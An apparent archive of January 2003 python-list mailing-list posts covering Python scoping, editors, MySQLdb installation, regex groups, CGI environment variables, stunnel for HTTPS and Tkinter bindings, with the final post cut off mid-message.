From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Fri Jan  3 16:32:01 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Fri, 03 Jan 2003 22:32:01 +0100
Subject: php vs python
In-Reply-To: <3e16006e$0$230$edfadb0f@dread12.news.tele.dk>
References: <mailman.1041625688.13638.python-list@python.org> <3e16006e$0$230$edfadb0f@dread12.news.tele.dk>
Message-ID: <3e160151$0$49101$e4fe514c@news.xs4all.nl>


Joe wrote:
> Thankes for the enlightment... ill guess i stick to php then as I'm very
> dependen on the apache server.

Err.. have you read the response about mod_python correctly?
see  www.modpython.org.




From dkuhlman at rexx.com  Thu Jan  9 13:44:15 2003
From: dkuhlman at rexx.com (Dave Kuhlman)
Date: Thu, 09 Jan 2003 10:44:15 -0800
Subject: ANN: pyeditor version 1.3a
Message-ID: <avkftp$gkb5j$1@ID-139865.news.dfncis.de>

PyEditor version 1.3a

What is it -- pyeditor is a text editor whose top-level code is written in 
Python.  It exposes most of the features of Scintilla and adds 
customization in Python.  It is extensible in Python.  It supports multiple 
buffers, structure folding, undo/redo, book-marks, and much more. pyeditor 
is built on top of (1) the Scintilla text editor widget, (2) the 
pyscintilla wrapper for Scintilla, (3) the pygtk wrapper for Gtk+, and (4) 
the command-line/console from pygtk.

What's new --

  Version 1.3a (1/8/03)
    * Added creation of backup files when file is saved.
    * Renamed Commands menu to 'Tools'.
    * Moved spell checking from Edit menu to Tools menu.
    * Added ability to save and load session, i.e. to re-open the
      files that were open when pyeditor was last closed.

See:

    http://www.rexx.com/~dkuhlman/#pyeditor
    http://www.rexx.com/~dkuhlman/pyeditor_howto.html

Thanks and acknowledgements:

  * Archaeopteryx (http://archaeopteryx.com) for pyscintilla.
  * James Henstridge for pygtk and the command-line/console.
  * The people who did Scintilla (and don't forget SciTE) 
    (http://www.scintilla.org/).

-- 
Dave Kuhlman
dkuhlman at rexx.com
http://www.rexx.com/~dkuhlman



From adamrich at skunkworksone.com  Thu Jan  9 05:54:24 2003
From: adamrich at skunkworksone.com (Adam Richardson)
Date: Thu, 9 Jan 2003 10:54:24 +0000
Subject: Any Lasso'ers on the list ?
Message-ID: <p05111b07ba43052d0cfb@[213.123.49.158]>

Hi All,

List newbie here, so apologies if this is the wrong list to post this to.

We're currently assessing Python for middleware needs for various 
projects, chiefly with mySQL or Oracle db's.

We currently use Lasso with a combination of the Corral Method / 
FrameWork Pro, so I'm wondering if there are any developers on the 
list who know both Lasso and Python who might be able to answer a few 
questions I have about porting Lasso solutions to Python.

Thanks in advance,
Adam

-- 


--------------------------
Adam Richardson, CEO
Skunkworks One
Database, Web Development and Data Security Consultants

30 Chandos Street, St. Leonards,
Sydney, NSW 2065 Australia
Ph: +61 2 9439 8600
Fax: +61 2 9437 4584

http://www.SkunkworksOne.com

SkunkWorks One specialises in developing databases,
e-commerce and business systems, with our number one
priority being to secure those systems with the data security
that today's business environment demands.

"The U.S. General Accounting Office (GAO) reports that about
250,000 break-ins into Federal computer systems were
attempted in one year and 64 percent were successful. The
number of attacks is doubling every year and the GAO
estimates that only one to four percent of these attacks will
be detected and only about one percent will be reported."

The contents of this e-mail and any attachment(s) are strictly
confidential and are solely for the person(s) at the e-mail address(es)
above.  Skunkworks One is a division of Waenick Pty. Ltd.




From arigreen at stanford.edu  Fri Jan  3 19:01:20 2003
From: arigreen at stanford.edu (Ari Greenberg)
Date: 3 Jan 2003 16:01:20 -0800
Subject: Displaying and Inputting Japanese
Message-ID: <b6c0a2c6.0301031601.cb5a80f@posting.google.com>

Hi,

I'm using Python 2.2 for Windows XP and the IDLE GUI. I'm trying to
write a program to read and write Japanese characters. I am using the
Windows IME. Whenever I try to type Japanese, the Japanese appears
only as ? characters. I downloaded and installed the Japanese codecs,
but I have no idea how to use them. What needs to be done? Any advice
would be greatly appreciated.

Thanks,
-Ari



From imbosol at vt.edu  Wed Jan  8 14:29:04 2003
From: imbosol at vt.edu (Carl Banks)
Date: Wed, 08 Jan 2003 19:29:04 GMT
Subject: global variable not seen (bug?)
References: <mailman.1042041138.4444.python-list@python.org> <x71y3nwolf.fsf@guru.mired.org> <mailman.1042046808.20438.python-list@python.org>
Message-ID: <4__S9.26984$1c.2507@nwrddc01.gnilink.net>

Michal Vitecek wrote:
> Mike Meyer wrote:
>>The global statement doesn't declare a variable, it tells the
>>interpreter to look in the global namespace for the variable. Since it
>>isn't there, the name is going to be undefined. Try doing
>>"GLOBAL_VARIABLE = 1" in your interpreter before you infoke
>>someFunction().
>>
>>        <mike
> 
> this doesn't help:
> 
> ---session start---
>>>> from imported import *
>>>> GLOBAL_VARIABLE="some value"
>>>> someFunction()
> Traceback (most recent call last):
>  File "<stdin>", line 1, in ?
>  File "imported.py", line 2, in someFunction
>    print GLOBAL_VARIABLE
> NameError: global name 'GLOBAL_VARIABLE' is not defined
>>>> 
> ---session end---
> 
> i must say that this behaviour is pretty strange (non-intuitive at
> least). why is it that the function looks for that variable in the
> scope of its module? wouldn't that be more intuitive if it looked for
> the variable in the current global scope?

They're the same thing, of course.  When you access a global variable
from a function, the current global scope is the module the function
was defined in.

But it seems that you have a different idea of what "current global
scope" means.  You seem to want the following behavior: for the
snippet below, you want the current global scope of the function b to
be module X, because that is the current global scope of b's caller.


module X:

    from Z import b

    def a():
        b()


module Z:

    def b():
        global n
        print n


But, ask yourself this: shouldn't a's current global scope be the
module of a's caller?  You think it's intuitive that b's current
global scope should be the caller, yet it seems you haven't even
thought about what a's current global scope is, but you seem to expect
that a's global scope is the module X, the module where it was
defined.  Am I right?

If that's the case (I won't presume it is, but that's kind of what
happened to me when I made the same mistake), then I would say you
don't exhibit your own idea of what's intuitive!  :-)

The fact is, you've been using the defining global scope of a function
since you've been using modules.  When a and b are defined in the same
module, a calling b, you don't want a to call some other function
depending on where you imported it.  The b that a calls will always be
the object bound to b in a's defining global scope.


The technical term for all this is that Python is lexically scoped.
And it is often believed (including by me) that other scoping
strategies make the code prone to all kinds of name clashes and
unexpected values, and programmers have to work harder to avoid such
errors.


-- 
CARL BANKS



From max at alcyone.com  Fri Jan  3 05:44:28 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 03 Jan 2003 02:44:28 -0800
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <x7bs2y98or.fsf@guru.mired.org> <slrnb1ac1r.j1t.grey@teleute.dmiyu.org> <ouel7ur3pg.fsf@andlx-anamika.cisco.com> <slrnb1amgh.k1t.grey@teleute.dmiyu.org>
Message-ID: <3E15698C.886D39FF@alcyone.com>

Steve Lamb wrote:

>     No.  Let me put it another way.
> 
>     Will the lisp scripts work outside of Emacs on a lisp only engine?
> No?
> Why not?

Uh, so?  Python scripts won't work on non-Python systems, either.  So
what?

>     It is that mixing of two jobs into a single whole that is the
> problem.  Is
> it an editor?  No, it is a lisp engine.  Is it a lisp engine?  No, it
> is an
> editor.  Sorry, don't think they mix.

Are you really suggesting that programmability and extensibility is a
bad idea?  Should one not be able to write a mode that does syntax
coloring for Python (say) for your programming editor because an editor
is an editor and should do nothing else?  That sounds, quite frankly,
ludicrous.

You don't like emacs.  Okay, fine.  You don't like it because you think
it has kitchen sink syndrome.  Okay, fine too.  But you're tracking down
false leads.  What you're complaining about is that emacs installs too
much stuff by default, not that it's extensible.  There's a solution to
that, you know:  delete what you don't want.  rm is a very powerful
tool.

>     'sides, if I wanted a language embedded into my editor (instead of
> called
> from) I much prefer Python be it.

But you just contradicted yourself.  If it was extensible with Python,
then it would have a Python engine inside it.  That's bad, because it's
supposed to be an editor, right?

Besides, there _is_ a Python extension system available for emacs: 
Pymacs.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Then conquer we must, for our cause is just ...
\__/ Francis Scott Key
    Fauxident / http://www.alcyone.com/pyos/fauxident/
 A "faux" ident daemon in Python.



From aleax at aleax.it  Thu Jan 30 11:29:25 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 16:29:25 GMT
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <mailman.1043939395.30256.python-list@python.org>
Message-ID: <Fpc_9.143714$AA2.5881522@news2.tin.it>

holger krekel wrote:
   ...
> hmmm. Maybe with a general-purpose
> 
>     def elems(*args):
>         l = []
>         for arg in args:
>             try: l.extend(arg)
>             except TypeError: l.append(arg)
>         return l

Alas, doesn't meet specs...:

[alex at lancelot mydata]$ python2.2
Python 2.2.2 (#1, Oct 24 2002, 11:43:01)
[GCC 2.96 20000731 (Mandrake Linux 8.2 2.96-0.76mdk)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a=[]
>>> a.extend('ciao')
>>> a
['c', 'i', 'a', 'o']
>>>

basically, l.extend now accepts all iterables.  Handy in
most cases, but hardly ever what one wants for strings.


Alex




From webmaster at ciceana.org.mx  Wed Jan 15 14:23:49 2003
From: webmaster at ciceana.org.mx (Eduardo Cancino)
Date: Wed, 15 Jan 2003 13:23:49 -0600
Subject: Newbie: How to connect to MySQL?
In-Reply-To: <zcgV9.3544$YI5.1850@news2.central.cox.net>
Message-ID: <DF8BBD50-28BE-11D7-BE76-000393944F2A@ciceana.org.mx>

What i meant about it doesn't find my compiler is:

when i type "python setup.py build"

this is the end of the message:

ld: warning -L: directory name (/usr/lib/mysql) does not exist
ld: warning -L: directory name (/usr/local/lib/mysql) does not exist
ld: warning -L: directory name (/usr/local/mysql/lib/mysql) does not 
exist
ld: warning -L: directory name (/sw/lib) does not exist
ld: can't locate file for: -lmysqlclient_r
error: command 'gcc' failed with exit status 1

and gcc is installed in /usr/bin/gcc

not the python interpreter, that was installed by me from source
and it is working flawlessly

i really wan't to know about CGI Module, because that's is my primary 
intention.

Thank you.



On Wednesday, January 15, 2003, at 10:43 AM, Steve Holden wrote:

> "Eduardo Cancino" <lalo at ciceana.org.mx> wrote in message
> news:mailman.1042643607.2959.python-list at python.org...
>> Hi everybody!
>>
>> I downloaded the mysql-python from sourceforge, and I tried to install
>> it on my Mac0S 10.2.1
>> but even i have the Developer tools the:
>>
>> python setup.py build
>> python setup.py install
>>
>> commands doesn't find my compiler.
>>
>> I looked in www.python.org, some of this but didn't find it.
>>
>> Where I cand find a installing tutorial or something i can get to 
>> start
>> programming python with databases?
>>
>> Is there a db module like dbi in perl?
>> And the cgi module works as the perl one?
>>
>>
>
> Eduardo:
>
> I can't answer your question as to why your command-line isn't finding 
> the
> Python interpreter. That's another issue. However, if you're sure you 
> have
> /usr/bin/python then as long as setup.py is marked as executable the 
> command
>
>     setup.py build
>
> should work.
>
> As far as your questions about "is there a db module", Python database
> modules should conform the the Python DB API version 2, thereby 
> offering a
> reasonably standard interface. You can find a description at
>
>     http://www.python.org/peps/pep-0249.html
>
> The MySQLdb module you have downloaded offers a fairly complete
> implementation, along wiht a few added tweaks and wrinkles like 
> "dictionary
> cursors".
>
> As for the CGI module: walk before you run! ;-)
>
> regards
> --
> Steve Holden                                  http://www.holdenweb.com/
> Python Web Programming                 http://pydish.holdenweb.com/pwp/
> Bring your musical instrument to PyCon!    http://www.python.org/pycon/
>
>
>
> -- 
> http://mail.python.org/mailman/listinfo/python-list
>





From jarvin24 at lehtori.cc.tut.fi  Thu Jan 23 05:00:33 2003
From: jarvin24 at lehtori.cc.tut.fi (Petri =?iso-8859-1?Q?J=E4rvinen?=)
Date: Thu, 23 Jan 2003 10:00:33 +0000 (UTC)
Subject: Hex numbers
Message-ID: <slrnb2vfa1.7u7.jarvin24@lehtori.cc.tut.fi>

Hi, I assume that this is a FAQ-question, but I didn't find a solution.

I have a string '0xff00ff' and I want to store it as a hex-number not 
string.

Is that possible? I know that I can write to Python shell hexnumbers
like:
> a = 0xff00ff
> a
16711953
> hex(a)
> '0xff00ff'

What's the trick?
(I think it should not be possible as hex-is only a representation of 
integer-object.

Second question.

Has anyone ran in to the problem above when using Python interface to 
GDCChart?

- Petri J?rvinen



From grayshade at libero.it  Sun Jan  5 10:14:14 2003
From: grayshade at libero.it (Domenico)
Date: 5 Jan 2003 07:14:14 -0800
Subject: best python editor/ide for windows
Message-ID: <e34e8ce6.0301050714.2f8cf615@posting.google.com>

have your say...



From dave at pythonapocrypha.com  Mon Jan 20 01:09:01 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Sun, 19 Jan 2003 22:09:01 -0800 (PST)
Subject: HTTPS Server
In-Reply-To: <slrnb2lrn7.em5.toni@outpost.soth.at>
References: <avu4qn$md3$1@newsreader1.netway.at> <slrnb2k2t5.em5.toni@outpost.soth.at>
 <DxwW9.21446$YG2.637142@twister1.libero.it> <slrnb2lrn7.em5.toni@outpost.soth.at>
Message-ID: <Pine.LNX.4.51.0301192206330.13854@ns0.tbye.com>

On Sun, 19 Jan 2003, Toni Andjelkovic wrote:

> In article <DxwW9.21446$YG2.637142 at twister1.libero.it>, Giorgio Zoppi wrote:
> > Toni Andjelkovic wrote:
> >> In article <avu4qn$md3$1 at newsreader1.netway.at>, Sergio Lobo wrote:
> >>> I am looking for a way to change my simple HTTP Server into a HTTPS
> >>> server. My project is being developed using Jython.
> >>
> >> Consider using stunnel: http://stunnel.mirt.net/.
> >
> > Consider PureTLS, or OpenSSL binding.
> > http://sf.net/projects/pow
>
> stunnel should work transparently for the application, so that
> no coding is necessary.

It wouldn't be _completely_ transparent though - in particular logging
would be messed up because the client IP will always be 127.0.0.1, right?
(or, the IP of the stunnel machine if it's a gateway into your network).
But I guess for some applications that's no big deal, in which case the
stunnel approach would work great.

-Dave




From cnetzer at mail.arc.nasa.gov  Mon Jan 27 22:17:40 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Mon, 27 Jan 2003 19:17:40 -0800
Subject: How to do this in Python...
In-Reply-To: <b14p8o$q9c$1@wheel2.two14.net>
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <HJ3Z9.987$P64.136@nwrddc02.gnilink.net> <b14p8o$q9c$1@wheel2.two14.net>
Message-ID: <200301280317.TAA31206@mail.arc.nasa.gov>

On Monday 27 January 2003 18:18, Martin Maney wrote:
> Of course tastes differ when you're twisting a
> tool into doing something it doesn't wish to do, which was perhaps
> the ultimate point of my small treatise on contorted Python.

Stefan Schwarzer had the best (IMO) solution to your query, and it is 
an approach I use often with Python.  Far from contorted, I'd say.  
Anyway, it seemed to fit the bill nicely.

Here is is again (excerpted):


potential_patterns = (pattern1, pattern2, pattern3)
for pattern in potential_patterns:
     match = re.match(pattern, string)
     if match:
         # found it, do something, then ...
         break
else:
     # didn't find it (if you need this branch at all)


-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)




From vonstroheim at my-deja.com  Thu Jan 23 17:55:53 2003
From: vonstroheim at my-deja.com (vonstroheim)
Date: Thu, 23 Jan 2003 23:55:53 +0100
Subject: Is that a memory leak ?
Message-ID: <3e307296$0$243$626a54ce@news.free.fr>

I am using a windows debug 2.2.2 version and I observe the following
behavior in the interactive interpreter:

if I repeatedly enter:
class A(object):pass

the number of REFS raises and so does the value returned by
len(gc.get_objects())
(even if I use gc.collect())

but if i use a 'classic class' : 'class A: pass', no increasing is noticed.
Is that OK or is it a memory leak ?








From laocoon at eudoramail.com  Sun Jan 26 16:31:20 2003
From: laocoon at eudoramail.com (Lao Coon)
Date: Sun, 26 Jan 2003 22:31:20 +0100
Subject: Null number input
References: <mailman.1043614666.18370.python-list@python.org>
Message-ID: <Xns930FE52877A47Laocoon@62.153.159.134>

Tyson Tate <nilobject at mac.com> wrote in
news:mailman.1043614666.18370.python-list at python.org: 

> When I use raw_input, I'm able to not enter anything and just hit 
> return, yet with input, I get "unexpected EOF while parsing" if I
> don't enter anything. The code I am using is as follows (my remarks =
> #): 
> 
>      userInfo["firstName"] = raw_input("First Name: ")        # Works
>      fine userInfo["lastName"] = raw_input("Last Name: ")       # same
>      here userInfo["age"] = input("Age: ")       # entering nothing
>      gives me the 
> error
>      userInfo["SSN"] = input("SSN: ")
> 
> Would I have to do something like int(raw_input("Age: ")) or is there
> a better way?


Have you actually tried that? int(raw_input("Age: ")) with no input will 
result in int('') which will raise ValueError. 
Catching the exception is the best thing to do.
After all if the user doesn't enter an age you might want to note it..

try:
    	userInfo["age"] = input("Age: ")
except SyntaxError:
    	userInfo["age"] = 0 # or whatever you wanna do here..

HTH
Lao






From hwlgw at hotmail.com  Sun Jan  5 14:48:42 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 5 Jan 2003 11:48:42 -0800
Subject: CGI - client information
References: <cf0ad9fb.0301050153.6852da96@posting.google.com>
Message-ID: <cb035744.0301051148.737b30eb@posting.google.com>

[Jesper Olsen]
> Is it possible from a python cgi script to query the web server about
> the
> IP address of the client that is calling the script?
> 

Heh, Jesper Olsen, famous name, used to be a good soccer player at
Ajax and later an English team.

There are environment variables available in the CGI script::

  import os
  env = os.environ
  for key in ['REMOTE_ADDR', 'REMOTE_HOST', 'QUERY_STRING',
            'CONTENT_LENGTH', 'REMOTE_USER', 'REMOTE_IDENT']:
    print key+":",
    if env.has_key(key): print env[key]

If they send you a POST then there is CONTENT_LENGTH.  If they send
you a GET you have the QUERY_STRING.
Alas REMOTE_USER and REMOTE_IDENT usually are not available, I would
love to have them but I have no idea how to get those.

'''
Belief is no substitute for arithmetic. - Henry Spencer
'''



From skip at pobox.com  Thu Jan 16 11:43:24 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 16 Jan 2003 10:43:24 -0600
Subject: list_to_dict()
In-Reply-To: <b06i9j$art$1@wheel2.two14.net>
References: <b06i9j$art$1@wheel2.two14.net>
Message-ID: <15910.57644.174961.898589@montanaro.dyndns.org>

    maney> def list_to_dict(aList, key_indexes, value_indexes):
           ...

In 2.3 (and somewhat earlier I believe), you can call the dict() type like
so:

    >>> dict([("one", 1), ("two", 2)])
    {'two': 2, 'one': 1}

You can, of course, smash your keys and values lists together using zip():

    >>> zip(("one", "two"), (1, 2))
    [('one', 1), ('two', 2)]

If all you care about are the keys, you can use dict.fromkeys() (which is
new in 2.3):

    >>> dict.fromkeys(("one", "two"))
    {'two': None, 'one': None}
    >>> dict.fromkeys(("one", "two"), "something")
    {'two': 'something', 'one': 'something'}

Try these and see if whatver version of Python you're running supports
them.  If not, you might want to consider an upgrade.

Skip




From max at malva.com.uaREMOVE.IT  Wed Jan 15 06:33:20 2003
From: max at malva.com.uaREMOVE.IT (Max Ischenko)
Date: Wed, 15 Jan 2003 13:33:20 +0200
Subject: Automating Web Interfaces with Python
References: <mailman.1042572205.4047.python-list@python.org> <v295n7inf1k742@corp.supernews.com> <v297q6dunseo0c@corp.supernews.com>
Message-ID: <0ug30b.mh6.ln@cvs>

 Christian Reyes wrote:

> Yes Cameron,
> You've very succinctly identified the situation.
> Your recommendation is exactly what I am looking for.  I think we are one
> post away from closing this thread. :)

Take a look at Puffin (Python) or Anteater (Java), for start.

For simple applications, a plain Python with urllib/libcurl will do.

>> So:  my recommendation is that this thread start back at the
>> beginning.  Mr. Reyes, how will you know when you're done?  If
>> we can teach you how to automate retrieval of the content of
>> one Web page, with parametrized forms values and such, will you
>> be substantially nearer your goal?

-- 
Another process just forked, sir. Instructions?



From cuniREMOVE_THIS at programmazione.it  Wed Jan  8 12:25:39 2003
From: cuniREMOVE_THIS at programmazione.it (Antonio Cuni)
Date: Wed, 08 Jan 2003 17:25:39 +0000
Subject: Tkinter keybindings
References: <3n6cva.n64.ln@anto.cuni.lan> <avfjij$bcb$1@news2.tilbu1.nb.home.nl>
Message-ID: <kumhva.h54.ln@anto.cuni.lan>

v.wehren wrote:

> http://www.nmt.edu/tcc/help/pubs/tkinter.pdf is your friend...

thanks for the link, I'll download soon.
 
> Chapter 21. Focus: routing keyboard input:
> 
> "Because Text widgets can contain tab characters, you must use the
> special key
> sequence CONTROL-TAB to move focus past the widget" -

I knew the effect of ctrl-tab, but it's not what I want: the user of my 
app wouldn't appreciate the asymettry between entries and text - ideally 
I have to make them undistinguable. Isn't there a way to override the 
tab-binding for Text?

ciao Anto
-- 
"Computer science is not about computers any more than astronomy
is about telescopes." -- EW Dijkstra



From member16943 at dbforums.com  Tue Jan  7 10:46:35 2003
From: member16943 at dbforums.com (Tetsuo)
Date: Tue, 07 Jan 2003 15:46:35 +0000
Subject: Why does this not work?
References: <2355358.1041918087@dbforums.com>
Message-ID: <2356831.1041954395@dbforums.com>

Thanks.

Can you also help me figure out how to make it a real simulation of a
circuit, so it would calculate the answers, not just use what I tell it?

--
Posted via http://dbforums.com



From robert at nowhere.net  Sat Jan 11 06:40:29 2003
From: robert at nowhere.net (Robert Hord)
Date: Sat, 11 Jan 2003 11:40:29 GMT
Subject: idle will not start
Message-ID: <NoTT9.4808$pn3.184916120@newssvr15.news.prodigy.com>

I have install the RH 8.0 with python.  When I start ./idle I get an error 
"no module named ildelib".  I have done a find -name /usr idlelib with no 
results.  I also did an ./idle.py with an error "no module named Tkinter".  
I have installed the tcl/tk from the RH cd.  

? Anyone know what I'm missing ?

-- 
reh - Texas,USA
RedHat 8.0
http://flashpages.prodigy.net/rhordjr




From padraig.brady at corvil.com  Tue Jan  7 10:55:42 2003
From: padraig.brady at corvil.com (Padraig Brady)
Date: Tue, 07 Jan 2003 15:55:42 +0000
Subject: os.remove & os.rmdir
In-Reply-To: <3E1AF5D6.B4E54DE0@engcorp.com>
References: <RmyS9.1309$V6.1827@news.indigo.ie> <3E1ADF0A.A5FBBBFD@engcorp.com> <3E1AE5E0.7030208@corvil.com> <3E1AF5D6.B4E54DE0@engcorp.com>
Message-ID: <3E1AF87E.3030906@corvil.com>

Peter Hansen wrote:
> Padraig Brady wrote:
>>I just want
>>the simple change to allow remove() to work on empty directories.
>>Actually I don't see any backwards compatability probs at all.
> 
> Hmmm... might there not be code which uses os.remove() with the
> assumption it is not going to remove anything which is an empty
> directory?

True but not likely and anyway most would use unlink.

> Maybe this is just the reinterpretation of the direction
> I was going, after correcting my confusion.  I suspect any change
> to the behaviour of these functions could lead to a situation
> where existing code behaves very badly.

I can't think of an example where you would remove(dir)
willy nilly unless you can to delete the whole tree anyway
and then it's not an issue.

P?draig.




From adalke at mindspring.com  Fri Jan 10 21:17:06 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 10 Jan 2003 19:17:06 -0700
Subject: How do I get to *all* of the groups of an re search?
In-Reply-To: <avnrhh$sqe$0@216.39.172.122>
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org> <avni6r$im1$1@slb2.atl.mindspring.net> <avnrhh$sqe$0@216.39.172.122>
Message-ID: <avnv9a$m8$1@slb3.atl.mindspring.net>

Bengt Richter wrote:
> I was surprised to see the same substring apparently re-used though.
> I had expected that whatever match was decided on "used up" the text
> so that it could not be returned in another match pattern, but it looks
> like the last-of-multiple-matches logic kicks in even when the multiple
> match has already occurred in a single span. E.g.,
   ...
> Adding some parens:
>  >>> test_re = re.compile('([a-z]+)(( \\1[0-9]+)+)')
>  >>> print test_re.findall(text)
>  [('foo', ' foo1 foo2', ' foo2'), ('bar', ' bar1 bar2 bar3', ' bar3')]
> 
> Why are foo2 and bar3 showing up twice each? E.g., why not '' in the last position?
> Is that the way it is supposed to work? Just asking ;-)

        '([a-z]+)(( \\1[0-9]+)+)')

    'foo foo1 foo2 bar bar1 bar2 bar3'

    'foo' matches ([a-z]+)  which is group 1
       ' foo1' matches ( \\1[0-9]+) which is group 3
       ' foo1' matches (( \\1[0-9]+)+) which is group 2
            ' foo2' matches ( \\1[0-9]+) which is group 3
       ' foo1 foo2' matches (( \\1[0-9]+)+) which is group 2
    'foo foo1 foo2' matches the whole pattern, so we stop

At this point we have the three groups as
    ('foo', ' foo1 foo2', ' foo2')

Expressed as a tree this is

          ([a-z]+)(( \\1[0-9]+)+)
          \------/\-------------/
            /            |
           /             |
          /              |
         |         (( \\1[0-9]+)+)
         |             Group 2
         |            /       \
         |           /         \
      ([a-z]+)  (\\1[0-9]+)  (\\1[0-9]+)
       Group 1   Group 3      Group 3
         |         |            |
       [a-z]+    \\1[0-9]+   \\1[0-9]+
         |         |            |
       'foo'    ' foo1'      ' foo2'

            'foo foo1 foo2'

Traverse this tree from left to right.  When there is a
'Group', use the text underneath it for the value of the
group.  Last group wins.  In this case we have
    Group 1 == 'foo'
    Group 2 == ' foo1 foo2'
    Group 3 == ' foo1'
    Group 3 == ' foo2' which replaces ' foo1'

(In Martel this would correspond to
   startDocument()
   startElement("Group 1", {})
   characters("foo")
   endElement("Group 1")
   startElement("Group 2", {})
   startElement("Group 3", {})
   characters(" foo1")
   endElement("Group 3")
   startElement("Group 3", {})
   characters(" foo2")
   endElement("Group 3", {})
   endElement("Group 2")
   endDocument()
and is mapped to the XML
   <Group1>foo</Group1><Group2><Group3> foo1</Group3><Group3> 
foo2</Group3></Group2>
)

Getting back to the example ...

Since this is a 'findall' we start again, searching for the
next match after the end of 'foo foo1 foo2'.  The next character
is a space, and doesn't work.  So we start with the 'bar'


    'foo foo1 foo2 bar bar1 bar2 bar3'
                  'bar' matches ([a-z]+) which is group 1
                     ' bar1' matches ( \\1[0-9]+) which is group 3
                     ' bar1' matches (( \\1[0-9]+)+) which is group 2
                          ' bar2' matches ( \\1[0-9]+) which is group 3
                     ' bar1 bar2' matches (( \\1[0-9]+)+) = group2
                               ' bar3' is group 3
                     ' bar1 bar2 bar3' is group 2

At this point we have reach the end of the string and the
regexp is complete, so we stop with the three groups as

    ('bar', ' bar1 bar2 bar3', ' bar3')


The ASCII tree diagram is left as an exercise.

Does that make sense?

>>The problem is that the regexp defines a tree structure, but
>>the interface to the parsers are linear, and there was a choice
>>make (some time ago) to flatten that tree to only contain the
>>last groups which match.
> 
> Even if they've already been matched?

I'm sorry, I don't understand your question.

					Andrew
					dalke at dalkescientific.com




From papaggel at ics.forth.gr  Mon Jan 13 06:03:34 2003
From: papaggel at ics.forth.gr (Manos Papagelis)
Date: Mon, 13 Jan 2003 13:03:34 +0200
Subject: Urgent. malformed header from script error!
Message-ID: <006201c2baf3$6ca24bb0$04b75b8b@ics.forth.gr>

 Hello,

 Running apache on solaris the following error occurs when trying to run a
python script:

     malformed header from script. Bad header=Could not  read-open file
/bla: blabla.py

 Although it seems to be a simple permition problem, it is not fixed by
 changing the permitions of the refered directory and file.

 Could anyone suggest what's the problem and how can be solved?

 thanks,

 - Manos Papagelis

p.s. Plz include me to the answer (my e-mail) because i am not yet
registered to the mailing list!






From lac at strakt.com  Mon Jan 13 11:15:35 2003
From: lac at strakt.com (Laura Creighton)
Date: Mon, 13 Jan 2003 17:15:35 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]MinimalPython project) 
In-Reply-To: Message from Mikael Olofsson <mikael@isy.liu.se> 
   of "Mon, 13 Jan 2003 17:02:42 +0100." <20030113170242.7713d52f.mikael@isy.liu.se> 
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042428982.26240.python-list@python.org> <vAsU9.66$_d2.118955@news.uswest.net> <5ItU9.7305$Dq.767535@newsread2.prod.itd.earthlink.net> <3E228E81.81B0FACD@alcyone.com> <7xn0m5hxxp.fsf@ruckus.brouhaha.com> <20030113170242.7713d52f.mikael@isy.liu.se> 
Message-ID: <200301131615.h0DGFZjL005231@ratthing-b246.strakt.com>

> On 13 Jan 2003 07:27:46 -0800
> Paul Rubin <phr-n2002b at NOSPAMnightsong.com> wrote:
> > I don't see pithy as having negative connotations beyond sounding a
> > little bit like "pissy".  But I'm not that crazy about it anyway.
> 
> It does look a lot like pity, which gives me negative vibes.
> 
> /Mikael

To pith a frog is to kill it by destroying its central nervous system
(usually by passing a needle through it).  

'Pithy' is one of those words, which (unless you are doing anatomy)
almost exclusively shows up as part of the phrase 'pithy saying'.  It
started out with the meaning 'precise and to the point'.  These
days most people who use the expression believe that it means
'trite, hackneyed ...  a clich?'.  (And I sure surprised people recently
when I thanked them for calling something I said 'pithy'.  Alas,
no compliment was intended ...)

Laura Creighton




From cben at techunix.technion.ac.il  Mon Jan 20 11:46:43 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Mon, 20 Jan 2003 18:46:43 +0200
Subject: a single class supporting multiple facets/interfaces
In-Reply-To: <mailman.1043066796.28044.python-list@python.org>
References: <mailman.1043066796.28044.python-list@python.org>
Message-ID: <Pine.GSO.4.44_heb2.09.0301201813550.21739-100000@techunix.technion.ac.il>

On 2003-01-20, David Garamond wrote:

> i want to have a class that can support multiple sets of methods, based
> on what the client requests. for example, see the following code:
>
> class C:
>    def foo(self):
>        print "foo"
>    def bar1(self):
>        print "bar version 1"
>    def bar2(self, arg):
>        print "bar version 2, arg =", arg
>    def facet(self, whichFacet=1):
>        if whichFacet == 1:
>            return C_facet1(self)
>        elif whichFacet == 2:
>            return C_facet2(self)
>        return
>
> class C_facet1:
>    def __init__(self, c):
>        self.foo = c.foo
>        self.bar = c.bar1
>
> class C_facet2:
>    def __init__(self, c):
>        self.foo = c.foo
>        self.bar = c.bar2
>
> c1 = C().facet(1) # client1 picks interface1
> c1.foo()        # prints "foo"
> c1.bar()        # prints "bar version 1"
>
> c2 = C().facet(2) # client2 picks interface2
> c2.foo()        # prints "foo"
> c2.bar(123)     # prints "bar version 2, arg = 123"
>
